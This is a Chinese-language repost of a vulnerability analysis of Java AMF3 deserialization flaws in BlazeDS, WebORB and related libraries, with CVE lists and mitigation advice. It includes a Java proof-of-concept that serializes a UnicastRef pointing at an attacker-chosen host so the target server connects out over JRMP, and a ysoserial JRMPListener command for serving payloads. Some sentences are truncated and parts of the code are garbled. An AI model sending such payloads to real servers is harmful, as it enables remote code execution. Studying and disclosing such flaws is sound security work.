java amf3_Java AMF3 反序列化漏洞分析
寫在前面的話
AMF(Action Message Format)是一種二進(jìn)制序列化格式,之前主要是Flash應(yīng)用程序在使用這種格式。近期,Code White發(fā)現(xiàn)有多個(gè)Java AMF庫(kù)中存在
目前,漏洞相關(guān)信息已上報(bào)至美國(guó)CERT(詳情請(qǐng)參考美國(guó)CERT VU#307983)
概述
目前,Code White主要對(duì)以下幾種熱門的Java AMF實(shí)現(xiàn):
Flex BlazeDS by Adobe
Flex BlazeDS by Apache
Flamingo AMF Serializer by Exadel (已停更)
GraniteDS (已停更)
WebORB for Java by Midnight Coders
而這些又存在著下面列出的一個(gè)或多個(gè)漏洞:
XML外部實(shí)體注入(XXE)
任意對(duì)象創(chuàng)建及屬性設(shè)置
通過(guò)RMI實(shí)現(xiàn)Java序列化
漏洞影響
簡(jiǎn)而言之,任意遠(yuǎn)程
前兩個(gè)漏洞并不是新漏洞,但是目前仍然有很多庫(kù)存在這樣的漏洞。除此之外,研究人員也發(fā)現(xiàn)了一種能夠?qū)⑦@種設(shè)計(jì)缺陷轉(zhuǎn)換成Java序列化漏洞的方法。
我們將會(huì)對(duì)上述漏洞(除了XXE)進(jìn)行詳細(xì)描述,如果你想了解關(guān)于這個(gè)XXE漏洞的詳細(xì)內(nèi)容,請(qǐng)參考我們之前所發(fā)表的一篇文章《CVE-2015-3269: Apache Flex BlazeDS XXE Vulnerabilty》。
介紹
AMF3(Action Message Format version 3)同樣是一種二進(jìn)制信息編碼格式,它也是Flash應(yīng)用在與后臺(tái)交互時(shí)主要使用的一種
AMF3對(duì)象的新功能可以歸結(jié)為兩種新增加的特性,而這兩種新特性(dynamic和externalizable)描述了對(duì)象是如何進(jìn)行序列化操作的:
Dynamic:一個(gè)聲明了動(dòng)態(tài)特性的類實(shí)例;公共變量成員可以在程序運(yùn)行時(shí)動(dòng)態(tài)添加(或刪除)到實(shí)例中。
Externalizable:實(shí)現(xiàn)flash.utils.IExternalizable并完全控制其成員序列化的類實(shí)例。
注:具體請(qǐng)參考Adobe官方給出的解釋【傳送門】。
Dynamic特性
我們可以拿Dynamic特性與JavaBeans的功能進(jìn)行對(duì)比:它允許我們通過(guò)類名及屬性來(lái)創(chuàng)建一個(gè)對(duì)象。實(shí)際上,很多JavaBeans實(shí)體目前已經(jīng)實(shí)現(xiàn)了這種技術(shù),例如java.beans.Introspector、Flamingo、Flex BlazeDS和WebORB等等。
但需要注意的是,這種功能將會(huì)導(dǎo)致一種可利用的漏洞產(chǎn)生。實(shí)際上,Wouter Coekaerts早在2011年就已經(jīng)將這種存在于AMF實(shí)現(xiàn)中的漏洞曝光了,并且還在2016年發(fā)布了相應(yīng)漏洞的利用代碼及PoC。
Externalizable特性
我們可以拿Externalizable特性賴于Java的java.io.Externalizable接口進(jìn)行對(duì)比。實(shí)際上,很多廠商早就已經(jīng)將flash.utils.IExternalizable接口的規(guī)范進(jìn)行了調(diào)整,其實(shí)它與Java的java.io.Externalizable區(qū)別不大,這種特性將允許我們可以高效地對(duì)實(shí)現(xiàn)了java.io.Externalizable接口的類進(jìn)行重構(gòu)。
java.io.Externalizable接口定義了兩個(gè)方法:即readExternal(java.io.ObjectInput)和writeExternal(java.io.ObjectInput),而這兩個(gè)方法將允許java類完全控制序列化以及反序列化操作。這也就意味著,在程序的運(yùn)行過(guò)程中不存在默認(rèn)的序列化/反序列化行為以及有效性檢測(cè)。因此,相對(duì)于java.io.Serializable來(lái)說(shuō),我們使用java.io.Externalizable來(lái)實(shí)現(xiàn)序列化/反序列化則更加的簡(jiǎn)單和高效。
將EXTERNALIZABLE.READEXTERNAL轉(zhuǎn)換為OBJECTINPUTSTREAM.READOBJECT
在OpenJDK 8u121中總共有十五個(gè)類實(shí)現(xiàn)了java.io.Externalizable接口,而其中絕大多數(shù)類的任務(wù)僅僅是重構(gòu)一個(gè)對(duì)象的狀態(tài)而已。除此之外,實(shí)際傳遞給Externalizable.readExternal(java.io.ObjectInput)方法的java.io.ObjectInput實(shí)例也并非java.io.ObjectInputStream的實(shí)例。
在這十五個(gè)類中,那些與RMI有關(guān)的類則吸引了我們的注意。尤其是sun.rmi.server.UnicastRef和sun.rmi.server.UnicastRef2,因?yàn)樗麄儠?huì)通過(guò)sun.rmi.transport.LiveRef.read(ObjectInput, boolean)方法來(lái)對(duì)sun.rmi.transport.LiveRef對(duì)象進(jìn)行重構(gòu)。除此之外,這個(gè)方法還會(huì)重構(gòu)一個(gè)sun.rmi.transport.tcp.TCPEndpoint對(duì)象以及一個(gè)本地sun.rmi.transport.LiveRef對(duì)象,并且在sun.rmi.transport.DGCClient中進(jìn)行注冊(cè)。其中,DGCClient負(fù)責(zé)實(shí)現(xiàn)客戶端的RMI分布式垃圾回收系統(tǒng)。DGCClient的外部接口為“registerRefs”方法,當(dāng)一個(gè)LiveRef的遠(yuǎn)程對(duì)象需要進(jìn)入虛擬機(jī)系統(tǒng)時(shí),它需要在DGCClient中進(jìn)行注冊(cè)。關(guān)于DGCClient的更多內(nèi)容請(qǐng)參考OpenJDK給出的官方文檔【傳送門】。
根據(jù)官方文檔中的描述,LiveRef的注冊(cè)是由一次遠(yuǎn)程調(diào)用完成的,而我們覺得這里將有可能允許我們通過(guò)RMI來(lái)實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行(RCE)!
在對(duì)這次調(diào)用進(jìn)行了追蹤分析之后,我們發(fā)現(xiàn)整個(gè)調(diào)用過(guò)程非常復(fù)雜,它涉及到Externalizable.readExternal、sun.rmi.server.UnicastRef/sun.rmi.server.UnicastRef2、ObjectInputStream.readObject以及sun.rmi.transport.StreamRemoteCall.executeCall()等多種對(duì)象及方法。
接下來(lái)讓我們來(lái)看看,如果我們通過(guò)一個(gè)sun.rmi.server.UnicastRef對(duì)象來(lái)對(duì)一條AMF消息進(jìn)行反序列化的話會(huì)出現(xiàn)什么情況,相關(guān)代碼如下所示(利用了Flex BlazeDS):
import?java.io.ByteArrayInputStream;import?java.io.ByteArrayOutputStream;import?java.io.IOException;import?java.util.Arrays;import?flex.messaging.io.SerializationContext;import?flex.messaging.io.amf.ActionContext;import?flex.messaging.io.amf.ActionMessage;import?flex.messaging.io.amf.AmfMessageDeserializer;import?flex.messaging.io.amf.AmfMessageSerializer;import?flex.messaging.io.amf.MessageBody;public?class?Amf3ExternalizableUnicastRef?{public?static?void?main(String[]?args)?throws?IOException,?ClassNotFoundException?{if?(args.length??");return;}boolean?doDeserialize?=?false;if?(args.length?==?3)?{doDeserialize?=?true;args?=?Arrays.copyOfRange(args,?1,?args.length);}//?generate?the?UnicastRef?objectObject?unicastRef?=?generateUnicastRef(args[0],?Integer.parseInt(args[1]));//?serialize?object?to?AMF?messagebyte[]?amf?=?serialize(unicastRef);//?deserialize?AMF?messageif?(doDeserialize)?{deserialize(amf);}?else?{System.out.write(amf);}}public?static?Object?generateUnicastRef(String?host,?int?port)?{java.rmi.server.ObjID?objId?=?new?java.rmi.server.ObjID();sun.rmi.transport.tcp.TCPEndpoint?endpoint?=?new?sun.rmi.transport.tcp.TCPEndpoint(host,?port);sun.rmi.transport.LiveRef?liveRef?=?new?sun.rmi.transport.LiveRef(objId,?endpoint,?false);return?new?sun.rmi.server.UnicastRef(liveRef);}public?static?byte[]?serialize(Object?data)?throws?IOException?{MessageBody?body?=?new?MessageBody();body.setData(data);ActionMessage?message?=?new?ActionMessage();message.addBody(body);ByteArrayOutputStream?out?=?new?ByteArrayOutputStream();AmfMessageSerializer?serializer?=?new?AmfMessageSerializer();serializer.initialize(SerializationContext.getSerializationContext(),?out,?null);serializer.writeMessage(message);return?out.toByteArray();}public?static?void?deserialize(byte[]?amf)?throws?ClassNotFoundException,?IOException?{ByteArrayInputStream?in?=?new?ByteArrayInputStream(amf);AmfMessageDeserializer?deserializer?=?new?AmfMessageDeserializer();deserializer.initialize(SerializationContext.getSerializationContext(),?in,?null);deserializer.readMessage(new?ActionMessage(),?new?ActionContext());}}
為了證實(shí)代碼能夠正常運(yùn)行,我們首先設(shè)置了一個(gè)監(jiān)聽器,然后看一看鏈接是否能夠成功建立。
此時(shí),我們成功地與客戶端建立了一條通信連接,而且使用的還是Java RMI傳輸協(xié)議。
漏洞利用
實(shí)際上,jacob Baines早在2016年就已經(jīng)將這項(xiàng)技術(shù)(反序列化黑名單繞過(guò))公之于眾了,但是我并不確定當(dāng)時(shí)他是否知道這種技術(shù)同樣還會(huì)將任意的Externalizable.readExternal對(duì)象轉(zhuǎn)換為ObjectInputStream.readObject對(duì)象。除此之外,他當(dāng)時(shí)還介紹了一個(gè)可以發(fā)送任意Payload的JRMP監(jiān)聽器:
java?-cp?ysoserial.jar?ysoserial.exploit.JRMPListener?...
廠商產(chǎn)品影響情況
緩解方案
首先,使用了Adobe或Apache實(shí)現(xiàn)的應(yīng)用程序應(yīng)該盡快將Apache更新至最新版本(v4.7.3)。其次,Exadel目前已經(jīng)停止對(duì)他的代碼庫(kù)進(jìn)行維護(hù)了,所以使用了Flamingo AMF Serializer的用戶不會(huì)再收到更新推送了。不過(guò)目前對(duì)于GraniteDS和WebORB還沒有合適的解決方案。
參考資料
http://codewhitesec.blogspot.com/2017/04/amf.html
http://openjdk.java.net/jeps/290
http://www.kb.cert.org/vuls/id/279472
http://www.adobe.com/go/amfspec
https://cwe.mitre.org/data/definitions/502.html
https://cwe.mitre.org/data/definitions/913.html
https://cwe.mitre.org/data/definitions/611.html
其他信息
CVE ID:
CVE-2015-3269、CVE-2016-2340、CVE-2017-5641、CVE-2017-5983、CVE-2017-3199、CVE-2017-3200、CVE-2017-3201、CVE-2017-3202、CVE-2017-3203、CVE-2017-3206、CVE-2017-3207、CVE-2017-3208
公開日期:2017年4月4日
最新更新日期:2017年4月4日
文檔版本:73
總結(jié)
以上是生活随笔為你收集整理的java amf3_Java AMF3 反序列化漏洞分析的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: python 获取向上两级路径_Pyth
- 下一篇: java的核心类库_Java核心类库,集